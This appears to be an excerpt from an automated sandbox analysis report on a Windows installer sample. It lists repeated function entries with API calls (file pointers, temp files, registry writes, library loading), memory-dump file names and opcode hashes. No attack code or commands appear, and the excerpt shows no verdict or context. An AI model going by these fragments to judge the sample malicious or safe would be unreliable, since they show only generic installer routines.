MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,?), ref: 004026F1
SetFilePointer.KERNELBASE(?,?,?,?,?,00000008,?,?,?,?), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,?,?,?,?,00000008,?,?,?,?), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,?), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,?,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

%s%S.dll, xrefs: 0040679E
\, xrefs: 0040677A
UXTHEME, xrefs: 0040675B

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 70131777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 70131B5F: GlobalFree.KERNEL32(?), ref: 70131DB2
Part of subcall function 70131B5F: GlobalFree.KERNEL32(?), ref: 70131DB7
Part of subcall function 70131B5F: GlobalFree.KERNEL32(?), ref: 70131DBC

GlobalFree.KERNEL32(00000000), ref: 70131825
FreeLibrary.KERNEL32(?), ref: 701318AB
GlobalFree.KERNEL32(00000000), ref: 701318D0

Part of subcall function 70132352: GlobalAlloc.KERNEL32(00000040,?), ref: 70132383

Part of subcall function 70132724: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,701317F6,00000000), ref: 701327F4

Part of subcall function 701315C6: wsprintfW.USER32 ref: 701315F4

Strings

, xrefs: 701318B1

Memory Dump Source

Source File: 00000000.00000002.2274084322.0000000070131000.00000020.00000001.01000000.00000004.sdmp, Offset: 70130000, based on PE: true

Associated: 00000000.00000002.2273940310.0000000070130000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274182585.0000000070134000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274265618.0000000070136000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70130000_ajRZflJ2ch.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 7e614eb40d81ba53f576cc58cf1887363d6002e4c3571fcf806be4997f33dfcd
Instruction ID: 6e9b3cbd7f825c035b5743d8c2ba9c9c1948b3f47913c52b542aa7910f1245ec
Opcode Fuzzy Hash: 7e614eb40d81ba53f576cc58cf1887363d6002e4c3571fcf806be4997f33dfcd
Instruction Fuzzy Hash: 3941C372500204AACB159F74DC85B8EFBACBF05310FA644B9FD079A686DBB89584CB64

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsd88AD.tmp,00000023,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsd88AD.tmp,00000000,00000011,00000002), ref: 0040246F
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsd88AD.tmp,00000000,00000011,00000002), ref: 00402557

Strings

C:\Users\user\AppData\Local\Temp\nsd88AD.tmp, xrefs: 00402420, 0040242E, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsd88AD.tmp
API String ID: 2655323295-408224121
Opcode ID: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction ID: 2320c74fc41ffeb716861e397aa06506e2c1d49fdd3331f7b5a779c93e7e4390
Opcode Fuzzy Hash: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction Fuzzy Hash: C4118471E00104BEEB10AFA5DE89EAEBB74EB44754F11803BF504B71D1DBB89D419B68

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00435000,004034A3,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A
C:\Users\user\AppData\Local\Temp\, xrefs: 00405F12, 00405F16

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1331003597
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 004062B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,00422708,00000000,?,?,Call,?,?,0040652A,80000002), ref: 004062FC
RegCloseKey.ADVAPI32(?,?,0040652A,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,00422708), ref: 00406307

Strings

Call, xrefs: 004062BD

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction ID: efe3e51cb47fe95fa6bbb83f3cb46ebf457b8c4b35673ac5825ceff03b23bf8b
Opcode Fuzzy Hash: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction Fuzzy Hash: B301717250020AEBDF218F55CD09EDB3FA9EF55354F114039FD15A2150E778D964CBA4

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 004032DE Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004032F2

Part of subcall function 0040345D: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 00403325
SetFilePointer.KERNELBASE(0016CC9B,00000000,00000000,00414ED0,00004000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000), ref: 00403420

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
